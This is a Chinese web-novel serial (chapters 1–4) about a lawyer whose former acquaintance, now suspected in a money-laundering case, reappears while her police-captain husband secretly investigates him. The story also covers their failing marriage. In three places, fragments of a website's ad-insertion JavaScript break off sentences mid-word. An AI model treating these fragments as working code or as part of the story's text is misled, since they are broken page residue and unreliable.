《妻子的白月光回来了》 1. 第 1 章 “琛哥,前面好像有几个人在打一个女人!”何广生坐在副驾驶上对着老大说道。 “过去看看。”余琛坐在后排,手里回着信息。 阿生把几个混混踢走后,余琛也走过来,问眼前头发凌乱的女人:“小姐,你还好吗?” 这声音似曾相识,林茜抬起头来的一瞬间,两个人都怔住了。 十年了,林茜没想过会再见到余琛。 余琛把林茜扶进车里,快到车门的时候,原本坐在驾驶位的司机利落地从车上下来拉开后车门。林茜心里正五味杂陈,但余光还是瞥到了司机的样貌,又是似曾相识的感觉。 这是怎么了,所有的巧合都在今天出现吗? 脑海中似乎漏掉了什么信息,林茜飞速地回忆着,以至于余琛说了什么她都没听到。 “茜茜?”余琛温和地开口。 “啊?”林茜一脸茫然。 “你怎么样?”余琛关切地问道。 “我没事啊。”林茜脑中还在思索着,下意识答着。 “你的膝盖是不是受伤了?我带你去医院看一下。” “没有,只是磕了一下,幸亏……”本想说幸亏你及时赶到,话没说完,林茜忽然察觉司机的耳朵缓慢地动了一下,像是极力地在听她说什么。 电光火石间仿佛有什么串联在了一起。眼前这个人,她分明在哪里见过,可又实在想不起来。林茜直觉,这个人出现在余琛身边,一定不简单。想想自己平常打交道的人,除了公检法就是犯罪嫌疑人,要是公职机关也就罢了,如果是居心不良的人…… “幸亏什么?”余琛问道。 “幸亏我先生是警察,他们也不敢拿我怎么样。”林茜改口道。余琛是她的朋友,她老公又是警察,如果这个司机别有用心,也能有点震慑吧。 余琛的眼神黯淡了下来,又恢复如常,“你结婚了,过得好吗?” “嗯,很好。”林茜心里盘算着,面上就有些心不在焉。 余琛只当她还在担心刚刚的事,问道:“这些是什么人?为什么找你麻烦?” “可能和我代理的一个案件有关,官司打得胶着,对方大概是想从我这里找到突破点吧。”林茜一边说着,一边在手机上打字。 “我先生说要来接我,我走了,今天谢谢你,再见。”说话的时候,林茜握着手机,只把屏幕对着余琛晃了一下。 “好。”余琛眸色变深,依旧温和地应道。 林茜拉开车门,下去了。 在外面等着的何广生看林茜走远了,像猴子一样蹿上车,“琛哥,这个女人是谁啊?是你以前泡过的妞吗?哇,我刚才在外面大气都不敢出啊!” “别乱说话。”余琛语气平静,但阿生直觉琛哥不高兴。 “哦。”阿生缩了一下脖子不再说话了。 车里的气氛忽然严肃起来,陷入一片沉默。 过了一会,阿生试探着问余琛,“琛哥,刚刚那几个小子,用不用教训一下,打女人,也太没品了吧!” “不要多事。” “好的,琛哥。”阿生原本想拍个马屁,他能看出余琛很在意刚刚那女的,他还没见过余琛和谁说话这么温和。虽然对康嫣然也很客气,但感觉不一样,这个女人一定不简单!可是对欺负她的人,就这么算了? 老大的心思,果然不是他能揣摩的。 车子在街上漫无目的的开着,余琛开口说话了,“李叔,去广记车行吧,我想再选辆车。”顿了一下,又说,“阿生把这辆车洗洗,送到康伯那里。” “好嘞!”何广生的眼睛轱辘一转,还是没忍住问道:“老大,为什么把这辆车送到康伯那啊?” “嫣嫣刚考到驾照,这辆车送给她吧。” 啧啧,老板就是老板,大气! *** 林茜下车后,直接进了附近的地铁站。余琛的底细有点敏感,自己老公又是警察,林茜直觉还是少接触为好。正排队安检的时候,背后有人拍了自己。林茜一回头,竟然是关昊。 警察局离这里很远,关昊有案子的时候下班时间不固定,通宵也是常事,所以平常都开着他的吉普,很少坐地铁。刚刚在车上说老公来接自己是胡诌的,林茜压根没想到自己竟然真的在附近碰到他。 一个巧合是巧合,三个巧合碰在一起,就不能当成巧合看了。 “你怎么在这啊?下班了吗?”林茜问。 “嗯。你头发怎么了?”关昊对第一个问题选择性忽视。 刚刚被小混混推搡的时候,头发被抓住了,又疼又乱。走过来这一路林茜都在用手梳头发,好看起来整洁一点。 “哦,刚碰到几个混混找我麻烦。我今天不是开庭么,有份关键证据要质证,所以得带着原件来,那几个人好像是冲着这份证据来的。不过他们抢的时候,碰到我以前的朋友路过,正好帮我解了围,真是惊险!”说着还拍了拍胸口。 “这个朋友是谁啊,我见过吗?”关昊一边问着,一边不着痕迹地四处观望。 “没有,我也很多年没见过他了。” “他叫什么名字,以前是干什么的?” 林茜不高兴道:“关昊,你审犯人吗?我刚被抢劫,你不关心我受没受伤,也不去查嫌疑人,对着一个不认识的人问东问西干什么?” “不是,我这不是,看你没事吗?”关昊听出不满,转过头来问了一句:“欺负你的人长什么样,你还记得吗?” “带头的是个平头,很壮,1米75左右,穿一件黑底花T恤,右胳膊有绿色的纹身,后面还有三个人,都没他高,一个穿白T恤,比较瘦,小眼睛凸嘴;一个穿黑T恤牛仔裤,单眼皮,身材比较结实;还有一个记不清了。我需要报案吗?” “你受伤了吗?” “没有。” “丢什么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 东西了吗?” “没有,没抢走。” “那一带有监控吗?” 林茜犹豫了一下,说:“我没来得及仔细看,不过,好像是个死角。” “那不用了,报了也没什么用。” 林茜嘴角往下一撇,做了一个无可奈何的表情。关昊没注意到,又问:“你朋友是干什么的,有机会我当面谢谢他。” 林茜觉得今天的关昊有点反常,不过还是老实回答:“太久没见了,我也不知道他现在在做什么。我刚才吓得不轻,忘了问他的电话。以前倒是有过联系方式,不过换过几个手机,也早就没了。” 那就是旧手机里可能有了?关昊思索着找个理由去趟丈母娘家,看看能不能找到林茜的旧手机,嘴上却说道:“路见不平,挺仗义的啊,你们是怎么认识的?” 林茜心里泛起一点微妙的感觉,关昊突然出现在这里,在一个不是下班的时间,不顺路的地点,虽然嘴上在关心她刚刚的遭遇,可是话里话外,最后总会绕回余琛身上。 林茜说不清心里的感觉,是生气多一点,还是心虚多一点。生气么,老婆刚刚被抢劫,丈夫只盯着一个从来见过的人问来问去。心虚呢,又是因为余琛的过往不能细说。 林茜决定模糊过去,调侃道:“他以前在食堂打饭,因为我长得好看,每次看见我都会多打一勺,一来二去混个脸熟,平时没什么联系,毕业后也没再见过了。” 照往常来说,这种萍水相逢的关系,关昊一般就不感兴趣了,今天他却一反常态,又追问:“是大学食堂吗?” 林茜心里警惕起来。关昊是个大直男,平时万事不操心,只有在和工作相关时才异常敏锐。往常自己换个发型他都看不出来,今天却一眼看出她头发乱了,还是在梳理之后?老婆被欺负了不关心,却频频问一个不相干的人? 被揪过头发的头皮又疼起来,林茜恹恹的,只答了两个字:“是啊。”不愿意再继续这个话题。 两人过了地铁闸机,并肩向下走。关昊没注意到林茜的情绪变化,眉头皱着,似乎在思索什么,又问:“你还记得他在哪个食堂吗?” “那不记得了。食堂打饭的一般是大爷大妈,年轻人都干不长,所以对他有点印象。有,但不多。印象里见过他的次数也不多,可能是临时工。”这么说也没错,林茜确实在食堂见过余琛。 关昊不再问了,皱着眉头,“我去个洗手间。” “地铁马上就要到了。” “等下一趟吧。” 关昊走远后打起了电话,林茜在后面看着他的背影,忽然想起关昊上周去广州出差,自己开车送他去警察局拿东西。从正门进去要走好远的路,关昊图省事都是从后门刷门禁进去。上周林茜送他去的时候,看到一个人刚好从员工通道出来,那个人的侧脸,和余琛的司机几乎重合。 林茜背后升起一点凉气,暗道一声,糟了。 2. 第 2 章 警察局的会议室里烟雾缭绕,每个人都一言不发。 “盯了一个月,好不容易才有点进展,又断了!这就是你们办案水平?是不是想让香港来的同行看笑话?小关,你是组长,你说!” “科长,这个事,我承担全部责任。”会议室的灯有些老化了,光线暗黄。关昊抬着头,俊朗的轮廓在灯光下被映衬地尤其明显。 七月份刚来的新人李莉就在关昊的行动组里,还在读警校的时候就听过这位风云学长的传说,此刻想帮他发声,又有些不敢。 “科长,这个事不怪关哥。”一直跟着关昊的小王忍不住说。 “不怪他,那你说!”科长没好气道。 “这次确实是运气不好,本来我们线人安插进去了,监听也装好了,谁能想到他把车送给了他女朋友,他女朋友刚考完驾照开车太菜,一出门就给撞了,又好死不死的地把监听给撞坏了。这个事确实不能怪关哥。” “出点状况就怪运气不好,你们以前办案都靠运气吗?”科长喝问。 这话一出来,会议室陡然安静下来。立式空调的风扇发出嗡嗡的声音,平常大家总吐槽空调不制冷,此刻却觉得气氛有些过于冷了。 “科长,我总感觉这个事有点蹊跷,怎么会这么巧,设备才装好他就送人了,刚送人就撞了,车撞了为什么人也解雇了?这几件事发生的太快,像安排好的一样。”副队长张平要老练一些,谨慎着发言。 “小关,撞车这个事,有没有核实过?”科长又看向关昊。 “核实过了,撞车的地点没有监控,但根据最后的录音,确实是康嫣然在开,出事的时候她很慌乱,不像是刻意的。余琛这个人心思缜密,最近从香港又来了几个他的手下,他用自己的人更放心,就把线人解雇了。逻辑上没什么问题。张队说的这个,我也会留意。” “下一步你打算怎么办?” “继续24小时监视。这次线人不算暴露,还可以再找别的机会接近他。” 科长叹了口气,“也只能这样了,散会吧。小关留下。” 其他人陆续都出去了。小王有些担心地看了关昊一眼,最后一个出去。 等人都走了,科长的脸色也缓和下来,语重心长地说:“小关啊,你年纪轻轻就当经侦支队的队长,有些资历老的同志,其实是不服气的。” “我知道,科长。” “当然,我不是说你能力不行。现在时代发展了,我们这些老家伙总是要淘汰的,还得靠你们这些受过高等教育的大学生把担子扛起来。尤其你又是你们那一届的尖子,你的素质、能力,我是认可的。 但是这一次,不仅仅是跨省联合办案,还涉及到和香港的同志合作,方方面面都在看着,压力太大了。区里下了指示,凡是和余琛相关的,应查尽查,应办尽办! 监听的口子,我顶着压力给你开了。这个事,我们是要担责任的。最后如果办不好,你自己看着办。”说到最后,语气严肃起来。 “科长,这个案子我一定能破!”关昊还保留着在警校时的习惯,站的笔直,像一杆枪。 “小关,我听有的同志说,余琛和你太太有一些渊源。”科长话锋一转,吹了吹杯子里的茶叶沫,看向关昊。 余琛的案子,最早是香港警察联系深圳公安合办的。原本是追查十年前一个高官的赃款,这笔钱在高官落马后被他的打手吞了,又引起帮派内斗。据之前抓的人口供,这个打手最后见的人是余琛。 而余琛随后也消失了几年,据说来了北京,后来又辗转去了泰国,前几年才回到香港。当年被抓的那些人,有的已经出狱,又找上了余琛。警方也觉得这是一个追缴巨额赃款的好机会。 没想到余琛又来了北京。所以北京的警察也参与进来。 现在余琛的案子是经侦支队最重要的案子,自从前天老李把窃听装置安好后,每天的录音材料,专案组所有成员都会过一遍。关昊有时不只听一遍,想从中找到什么蛛丝马迹。 没想到蛛丝马迹没发现,倒是整组人发现这个大案的犯罪嫌疑人是队长太太的旧识。 “小关啊,只靠盯人是不行的。我们每天这么多工作,不可能人力都浪费在他一个人身上,效率太低。还得找突破点。”科长意有所指。 “我知道,科长。我老婆知道的也不多,她是上大学的时候认识的余琛,余琛当时可能在学校做一些零工。我让小王正在查。” “嗯,这就是一个很好的线索。据我们掌握的信息,十年前余琛在北京呆过一段时间,这个时间是吻合的。现在地点也缩小了,一定要查到底,说不定能成为突破的关键。” “是,科长。” 关昊从会议室出来,找到小王:“食堂查的怎么样了?” 小王大倒苦水:“关哥,学校的用工情况可太复杂了,有七八种。公务员、事业编、合同制的新教师和行政,这些就不说了。 最复杂的就是这些后勤保洁,有签合同的有没签的,就那种谁家的亲戚朋友临时安置在这一个月拿两千块钱的临时工,根本查不到。学校的人事档案不记这些人,这些年和学校合作的劳务派遣公司有七八家……” “说重点。” “诶我马上就说到了关哥,学校有记录的劳动合同我都看了,没有余琛的信息。劳务派遣那边也没有和余琛有关的信息。他当时没有内地的身份证,不好找工作,正规公司应该不会用他。” “临时工查过了吗?”关昊问道。 “临时工一般都沾亲带故。余琛是土生土长的香港人。那几年家里有香港亲戚的后勤、保洁、行政没多少人,初筛了一遍没发现有可疑的。毕竟现在没立案,我们是配合民警借着人口普查的名头去查的,问得太急了人家也不愿意说。” “教职工里面有香港背景的呢?” “诶呦,那可太多了。京法大学每年出去访学、交换的师生就有不少,不过这些人教育背景都不错。余琛就读到中学,23岁以前没离开过香港,平常接触的人也比较杂,他在香港的拳馆里还收了几个是以前道上混的,怎么看也和这些人没交集。” “这些人都排查过一遍吗?” “头儿,你不知道这些人眼睛都长在头顶上,说太忙了没时间回答这么多,要不就已经超出人口普查的范围了,说我侵犯他们隐私。问到刑诉专业的最难弄,就嫂子那个专业,我多问了几句,人家张嘴就问我,你们是在询问证人吗?有公安机关或检察机关出具的证明文件吗?” “难弄也要弄,现在就这一条线索,不能再断了。” “是,头儿!” 对余琛的调查目前处于保密状态,不能和外人透露。现在调查没有进展,关昊想起前两天林茜说过之前存了余琛的联系方式,本来想着周末和林茜一起回去,显得不那么突兀,眼下也顾不得那么多了。 关昊看了眼时间,林茜父母家在北京北面的一个小城,单程差不多一个半小时。现在临近中午,今天打个来回没问题。关昊拿出车钥匙,一把捞起外套,跟小王说了声:“我出去一趟。” 林茜的父亲中午一般在单位吃。林妈已经退休了,一个人在家吃的简单,不到一点就吃完了,刚躺在沙发上打算来个长长的午休,冷不防有人敲门。 “谁呀这是,大中午的来敲门。”林妈登上拖鞋一边开门一边嘀咕道。 “诶呦,关昊啊,怎么没说一声就来了。吃饭了吗?”一开门发现是女婿,林妈忙把人请了进来。 “还没。不急,妈,那个,林茜单位考核,她没时间,让我过来给她取个东西。” “哦,哦,好。先吃了再找吧,想吃点啥,妈给你做。” 关昊心下一转,直接拿手机不好解释,就说道:“想吃个打卤面,不麻烦吧妈?” “不麻烦不麻烦,你去茜茜那屋歇着,她的东西都在抽屉里,我去给你做饭。”林妈眉开眼笑地进厨房了。林茜两口子工作忙,加上和老人不在一个城市,平常回来少。林妈今天刚看见关昊时虽然有点惊讶,却是真心实意的高兴。 关昊看着林妈进了厨房,然后进了林茜以前的卧室,把房门关上。 林茜的卧室很小,最多也就十平米,是她少女时期住的,后来到北京读大学就很少在家了。房间里摆设很简单,一张床,两个床头柜,一盏台灯,一组衣柜,没了。 关昊先拉开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了衣柜下方的抽屉,里面是几个封好的收纳盒。林茜有点洁癖,所有东西都习惯分门别类收好,用过的手机也都放在一起,倒是方便了关昊找。在抽屉最里面一个收纳盒的底部,关昊找到几本日记,打开随手翻了翻,都是林茜中学的日记,又原样放回了。 在存放大学物件的箱子里,关昊仔细看了一遍,发现这时候林茜已经没有记日记的习惯了。没发现什么可疑的。关昊把几部手机揣进兜里,从厚厚的一摞证书中抽了一本,一会拿出去和林妈交差。 炝锅的香气飘了进来,关昊最后查了两个床头柜的抽屉,都是些林茜喜欢的小物件,大多是外出旅游的时候带回来的。翻检的差不多了,关昊把东西收拾好出了房门,把证书放在餐桌上。 林妈正端着最后一样出来,一眼就看到了林茜的证书,笑着说:“是她得国奖的证书吧,这孩子打小就学习好,有什么错题都记下来,非得弄明白不可。” 关昊心里一动:“记下来是好习惯,不像我,天天留什么作业都忘了。我妈那时候为了督促我学习,还逼我写日记,一是当个备忘录,二是为了练作文。” 林妈说:“是,那时候老师布置作业都爱让写日记,尤其是寒暑假。我记得有一年茜茜暑假偷懒,拖到最后才写,三天就写完了一本。” 三天写一本?这么能编?关昊心里吐槽,面上却惊讶道:“她都能记得吗?” “什么呀,”林妈笑着接道:“一半是照着作文书改写的,一半是自己瞎编的,不过反正也是为了提高作文水平,我们也就不说什么了。再说这种交作业的日记,她都是写来应付老师的,她自己的心事,从来不写在这上面,她私下里还有自己的日记本,连我们都不让看。” “那她上了大学,还有写日记的习惯吗?”关昊不着痕迹地问道。 “这就不知道了,那孩子越大越独,有什么事也不跟我们说。一回家就爱敲个电脑,兴许在电脑上写的?” 关昊刚刚没看见有旧电脑,又问道:“那毕业的时候,电脑都处理了吧?这东西用几年就不行了,越来越卡。” 林妈说:“这倒没有,她用过的手机电脑从来不扔,说是留着当个备份。不过我平常打扫她那屋,也没见过什么电脑,可能她带回去了吧?诶,你别光顾着说话,快吃呀!” 关昊胡乱扒拉一口面条,又问道:“您当初是怎么考虑,送她大三就出去做交换生呀?说起来那时候她还不到二十吧。” “害,这不都是她自己的意思嘛,就这么一个闺女,其实也不想她走太远,又怕她太辛苦。我跟她爸是想着等她大学毕了业,好歹成熟点了,要是还想出去,再送她出去开开眼界。结果那年正好那个美国的高校和茜茜学校签了合作,有交换生项目,时间一年,费用又很低,茜茜成绩是她们年级第一,争取到了,那我们也不能拦着了。” “那项目是什么时候有的呀?”关昊夹了一筷子黄瓜丝在碗里拌匀。 “说是她刚升大二的时候有的,她回来跟我们说能去美国一年,当时我们也没在意,毕竟一个年级就一个名额,谁知道还真让她争到了。”林妈说起来,也是满脸自豪。 刚升大二?那就是在认识余琛之前了。 “那她出国前,有没有什么反常啊?一个小女孩要去那么远的地方,多少也有点忐忑吧。”关昊又舀了一勺卤子。 “没有,她惯会逞强的,也不知道是真强还是假强,反正事情她都处理得好,有什么问题也从来不和我们说。” 关昊看也问不出什么了,恭维了林妈几句,揣着手机,拿着证书走了。 *** 工位上,林茜看着亮起的手机屏幕,来电显示只有一串号码。林茜犹豫了一下,走到楼梯间,接起了电话。 “喂?” “我是余琛。” “我知道。” “你今天有空吗?我想向你道谢。” 林茜想了一下,“我下午两点要去金地见客户。结束之后可以在楼下的咖啡厅见。你可以吗?” “没问题。”余琛的声音少了年轻时的狠戾,变得厚实又平稳,连口音也淡了很多。 “好,下午见。” 3. 第 3 章 余琛一点半就到了咖啡厅,选了里面靠窗的位置。隔着落地窗能看到一层大厅的情景。 余琛点了一杯港式奶茶,慢悠悠地喝着。二十分钟后,看到林茜穿着一身银灰色的套装,从大门进来匆匆过了闸机,直奔电梯去了。余琛的嘴角浮起一个浅浅的笑容。眼光一转,看向咖啡厅的门口,一会再见到她,就是这个方向了。 今天没带何广生出来,身边安静了不少。余琛细细的想着这几天发生的事。 -骤然见到林茜,简直是老天提前给的惊喜。 -知道她结婚了,失落当然有,却没资格表现出来。 -紧接着又看到她手机上的“司机”两个字,难道她向自己求助? -他们十年没见了,她提到的司机只能是自己的司机老李,老李和找她麻烦的人有关吗? -他迫不及待想帮她,却又被一句“我先生说要来接我”通通压了回去。 毕竟不是十年前的毛头小伙子了,没怎么费力,就查出了车上的监听装置,老李线人的身份也被挖了出来。余琛简直想笑,警察怎么想的?一边想他做线人,一边又派线人来他身边? 麻烦事缠身,偏偏心底又生出一点欢喜来。老李和找她麻烦的人没关,所以她是在提醒自己? 她关心我? *** 见完客户,出来已经三点多了,林茜下到一层的咖啡厅,一进门就看到了余琛。 “等很久了吗?”林茜有些抱歉的问。 “没有。喝点什么?”余琛温和的说道。 “美式。” “那些人又找过你麻烦吗?” 没想到余琛先问的是这个,林茜愣了一下,回道:“没有。” 其实是“还没有”,林茜猜他们一定会再来,不过就不必对余琛说了。 “你上次说,你代理的官司正打到关键处,对方想从你这里突破。他们还会来找你吗?” “或许吧,兵来将挡,我小心一点就是了。” 林茜答得云淡风轻,余琛却听得心悬了起来。是发生过很多类似的事了吗?如果下次她还是一个人怎么办?余琛想说自己可以帮忙,却听她开口问了另一件事。 “你说要道谢,是什么事?” “谢谢你的提醒。你怎么知道司机有问题?” “我只是看他眼熟,觉得有点不对劲。”顿了一下,林茜又说:“后来想起来,我在公安局的员工通道见过他。你把他怎么样了?”这话问的很直白,林茜之前想过了,多年不见,也摸不清对方的底细,开门见山最好。 “辞退了。你好心提醒我,我不会给你惹麻烦。”余琛答得诚恳。 余琛年轻时意外救过洪兴的坐馆,结果被误以为是坐馆的人,惹来一群追杀,没办法逃到北方避祸。不过他还是很感激上苍,如果不是这段经历,他不会遇到林茜。 可惜以前不会沟通,也不敢轻易相信别人,他长得人高马大,拳头又硬,打架又狠,搞得林茜总怀疑他的底细。还没来得及说清楚,她就出国了。再见面,已经隔了十年。 余琛内心情绪翻涌,面上还是温和的表情。他能再见到她,已经足够幸运。 林茜则被另一件事困扰着,她一想到万一司机真是卧底或警察安插在余琛身边的线人,因为自己的提醒暴露了,心里着实忐忑了几天。 余琛看出林茜的不安,坦诚道:“警察会盯上我,是因为怀疑我参与了一起洗钱案。不过你放心,我和这件事无关。”和其他事情也无关,以前有些误会没来得及说清,刻意解释反而让人怀疑。不过没关系,这次不会再轻易错过了,时间还长,日久见人心。 和这件事无关,那整件事余琛知道多少呢?是不是手里有警方想要的信息?林茜敏锐地察觉到他话中透露的意思。 没等林茜回复,余琛继续道:“我确实知道一点东西,不过,没有参与。我的拳馆里也有客户是警察,大家处的不错,算是朋友。这次,是朋友想让我帮忙。我现在生意做的安稳,不会趟这趟浑水。” 余琛点到为止,林茜心里了然。她愿意在遵纪守法的范围内给余琛帮助,但要踩过线就得掂量一下了。目前这种状态很好,余琛不愿沾上麻烦,她也很赞成。至于关昊为什么会盯上余琛,既然他不说,那林茜也不多问。索性换了个话题:“你开了拳馆?生意怎么样?” “还可以。”余琛笑着喝了一口茶。 林茜这时才有兴趣细细打量余琛,肩宽背阔,肱二头肌包裹在西装下还能隐隐看出轮廊。衣服看不出牌子,不过面料考究。原来的狠戾不见了,整个人气质沉稳,透着股安定感。 不错,看来过得很好。林茜替他开心,话也多了起来:“这几年健身类的行业都很火啊,举铁瑜伽普拉提,练拳击的人也越来越多了。你怎么想到开拳馆呢?我记得你以前就很能打。” 余琛听过很多称赞,可到了林茜这不知怎么忽然就有点腼腆,慢慢对她解释道:“离开北京后,我去了泰国,开始是在拳馆打零工,赚一点零花钱,后来拳馆的老板看我底子好,就让我免费学拳,学成之后参加比赛,慢慢打出名气,后来回到香港开了拳馆。” “我感觉你的普通话好了很多诶。”林茜喝着咖啡,随口问道。 “我……想北上拓展一下市场,顺便学了国语。” 经过咖啡厅一叙,林茜也算解开了一个心结,满身轻松地回到家。 一进门就听到噼里啪啦敲击键盘的声音。关昊今天回来这么早?林茜去书房门口偷瞄了一眼,果然,他心情不好。不去触这个霉头,林茜对着门口简单道了一声“我回来了”,就去换衣服做饭了。 炝锅的时候手机屏幕闪了又闪,林茜以为是案子有什么消息,忙关小火擦了手过来看信息,发现只是婆婆在两个未接的视频通话后问周末回不回去吃饭。 “你这周休息吗?妈叫咱们明天回家吃饭。”晚饭的时候林茜问关昊。 “我没空,你自己去吧。”关昊还在想着案子的事,心不在焉地说。 “你不回去,那我也不回了。有大哥大嫂陪爸妈。”林茜心里悄悄松了口气。 “嗯嗯。” “叮叮叮……”手机铃声响起,关昊拿着电话走到阳台。 餐厅里隐约传来关昊生气的声音:“又跟丢了!这是第几回了!他们两个在学校都学的什么?明天让小王也去,让他们都仔细学着点,这儿不是吃干饭的地方,能干干,不能干走!” 林茜面无表情得吃着饭,味同嚼蜡。 关昊习惯把情绪带回家里,林茜理解他有时候案子没进展,压力大,无处排解,却也是真的心累。 她自己代理案件时,面对对方的攻击,客户的压力,律所的考核,也会有很多情绪,但是她会尽量把工作和生活分开,进了家门,就放松下来,可以继续做事,但不再被工作上的情绪干扰,也不传递给家人。 她有次试着和关昊沟通这个问题,说每次他一发脾气,自己也很受影响,尤其是吃饭的时候。 关昊却抱怨她不够体贴:“我在自己家里,自己老婆面前都不能有什么说什么,我还能到哪儿去说?你希望我去别的人那说吗?” 林茜被怼了个哑口无言。她觉得不应该是这样,可关昊逻辑非常自洽。林茜也明白这件事大约不会有什么改变了。 回想起这些,林茜也没了胃口,对着桌上的四菜一汤,只觉得素的寡淡,荤的油腻,看什么都不顺眼。 关昊还在阳台上打电话,背影时不时闪现。林茜看着他宽阔的后背,不知怎么想起了余琛下午说的话:“上次找你麻烦的人,我会打听一下。既然上次开庭没来得及质证,那下次再开庭,你还要带着证据原件。如果是真的,也早做准备。” 要找他帮忙吗? 正在出神,关昊回来了,气冲冲地拉开椅子,发出一声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刺耳的声响。又忽然站起来,从门上挂着的外套里掏出一包烟,自顾自抽了起来。 抽烟这个事,倒是个漫长的拉锯战。从恋爱的时候一定要戒烟,到不能在家里抽烟,到在家里要去阳台上抽烟,再到最近毫无顾忌地想在哪抽就在哪抽,已经过去了四年。 林茜忽然很感慨,当初认识他的时候,自己还是个职场菜鸟,从小镇做题家到美国留学,再到律所新人,过去的成绩并不能给她足够的自信。无休无止的加班,永远都熬不出头的职场,大城市的高房价,一切都让她惶恐,让她不安,这时候有个可靠的男人,好像也带来了一点虚幻的安全感。 到了今天,自己已经接到了争议金额千万级的案子。如果能赢下这个官司,可以拿到七位数的报酬。事业中的成长带来的自信是其他任何事情都代替不了的。工作蒸蒸日上的同时,婚姻的苍白也显现出来。 以世俗的条件论,老公很好,在警校时就是风云人物,高大帅气,业务能力强,毕业后年纪轻轻就当了经侦支队的队长。能干,也有底气。当然这底气一大部分来源于父母靠拆迁分到的6套房子。 因为拆迁的缘故,生活自然是不愁的,但公婆对儿媳格外忌惮,大哥大嫂对房子虎视眈眈,林茜在这个家里并没有归属感。结婚前在关昊父母的撺掇下两个人签了财产协定,各自名下的财产归各自所有。公婆的本意是不想她染指靠拆迁分到的房子,毕竟当时有一半还没建好,二老生怕房产证办好时上面多了儿媳的名字。 婚姻不仅没有成为避风港,反而成为她更加努力打拼的动力。拼命工作,大把赚钱,林茜的收入已经是关昊的数倍。最近林茜偶尔也会问自己,再等几年,自己就出头了,当初结婚的选择,现在后悔吗? 眼前逐渐烟雾弥漫,林茜被呛得咳嗽起来。关昊意识到了,像是抱歉,又像是嫌弃,转过身去背对着她抽。林茜拿起手机,躲进了书房。 过了一周,婆婆又打来电话。不用说,一定是催他们回家吃饭。林茜已经不想回去了,每次见到公婆都被催生。看着茶几上超负荷的烟灰缸,林茜丝毫没有生育的打算,索性把电话调成静音。 过了一会,书房里传来关昊急吼吼的声音:“知道了知道了,明天就回去!挂了。”接着,门“砰”地一声被打开,“妈叫咱们明天回家吃饭。还有,妈说你的电话老打不通。” 林茜对着电脑继续改案件的代理意见,没有回头:“我最近不是在开庭就是见客户,手机也调成静音了,没听到。还有,我明天要加班,不回去了,你自己去吧。” “不是,你再忙也要回家吃饭啊!” “上周你加班,我们也没回去。” “我那是有正事!” “我的也是正事。” “你别抬杠行吗?照你这么说,咱俩一直忙,就永远不回家了?” “我是在好好地和你讲道理,”林茜转过头来:“下周四就要开庭了,这个案子非常重要,我现在真的抽不出时间。” “一顿饭的时间能抽出来吧,吃完咱就回来。”关昊坚持。 “我不明白,上周我们也没回去,为什么我现在这么忙,这周就必须要去呢?”林茜不解。 “你跟我能一样吗!我那是联合行动,联合行动明白吗?我不在不连累大家吗!你写个东西在哪写不行,就差那俩小时吗?!” 林茜怔住。关昊也知道自己的话说过了,专业能力是林茜一直引以为豪的,是无数个加班的日夜和一个又一个案子累积出来的,但关昊的大男子主义让他抹不开面子道歉,只是假装无事发生地说道:“你这么看我干什么?” 林茜沉默良久,“关昊,我很庆幸我们没有小孩。” 锁上书房的门,林茜却静不下心来继续干活。 她脑海里回荡着昨天客户自嘲的声音:“人是不会改变的,不管他嘴上说的多么动听。你看,到最后变的只有我们的关系。” 4. 第 4 章 林茜已经两天没和关昊说话了。确切地说,关昊已经两天没见过林茜了。 周五晚上林茜抱着电脑去了书房,关昊在卧室打游戏,放松一下连日盯梢紧绷的神经,不知不觉就睡着了。 第二天他起来的时候,发现林茜已经出门了。临近中午,林茜还没有任何消息,关昊也赌气不去找她。自己找了件不太皱巴的T恤,顶着胡茬儿和黑眼圈,回家蹭饭了。 “妈,家里有什么吃的吗?”关昊一进门就喊。 “马上就熟了,你们真是,不到饭点不回来!”关妈系着围裙,一边擦手一边从厨房出来。 看见关昊后,关妈仔细打量了他一圈,眉头皱起来:“怎么瘦得跟猴儿似的,你媳妇儿不管你饭吗?还有这个衣服,几天没洗啦,结婚好几年了,还过得跟单身汉一样!” “妈,有吃的吗?饿了。”关昊自顾自地拖了张椅子坐到桌前,又倒了杯水给自己喝。 “早上没吃饭啊?”关妈没好气道。 “嗯。”关昊懒洋洋地应着。 关妈从厨房端出一小盆盐水毛豆,“铛”地一下墩在桌上,“吃吧!”然后坐在椅子上,拉着一张脸,像别人欠了她八万块钱。 关昊抬眼看了一下,知道她是生了林茜的气了,开始转移话题:“大哥和嫂子呢,他们是从家里过来吗?” “人家上周刚来过,这周就不来了。年轻人——都忙——,”关妈拉长声音,“抽出点空儿过来吃顿饭都得三请四请,我哪敢周周让人过来呀!万一催的多了,人家直接不接电话了!”说到这,关妈瞥了关昊一眼,“你媳妇儿呢,不会是不来了吧?” “她这周加班儿。” “加班加班,天天就知道加班。”关妈小声嘀咕着,见关昊没有反应,又放大声量:“我就知道,人家是美国留学回来的大律师,看不上我们这些拆迁户,是我们高攀人家啦!”话是对着空气说的,眼神却不住往儿子这边瞟。 “说什么呢妈?”关昊不耐烦。 “我说的不对吗?”关妈一听来劲了:“要不她怎么不愿意跟你回来!孩子也不生,你都多大啦?你哥家的老大明年都中考了!” 一开启生育这个话题,关妈的嘴简直就像洪水开了闸。可惜这次还没来得及发挥,就被关爸把话头截住了。 “这个媳妇儿啊,得管。”老关走过来,教育儿子和老伴儿:“是,人家是高材生,留学回来的,跟我们那时候不一样了。但就是再不一样,女的不也得以家庭为重么?当年你奶奶瘫在炕上,你妈还不是提前办了退休,天天在家给你奶奶端尿盆儿?这叫什么呀?这叫孝道。” “吃饭的点儿提什么尿盆儿!”一提这段关妈就生气:“要不是因为她我提前办了退休,现在每个月退休金能多领好几百!” “你都6套房了还领什么退休金啊?”老关对儿子说:“你看吧,女人,头发长见识短,要不得管呢?” 关昊在母亲断断续续的催生与对退休金的怨毒以及父亲对家庭管理的长篇大论中吃完了索然无味的一餐,中间不时想起林茜昨晚说的那句话“关昊,我很庆幸我们没有小孩。” 关昊从小长得就好看。大学读的警校,1米87的个头,练了一身精瘦肉,有点痞帅的气质,从来都是女孩喜欢他,没有正经八百追过女孩子。 后来毕业去了公安局,他年轻,精力旺盛,肯钻研,连着破了好几个案子,一路晋升顺风顺水。 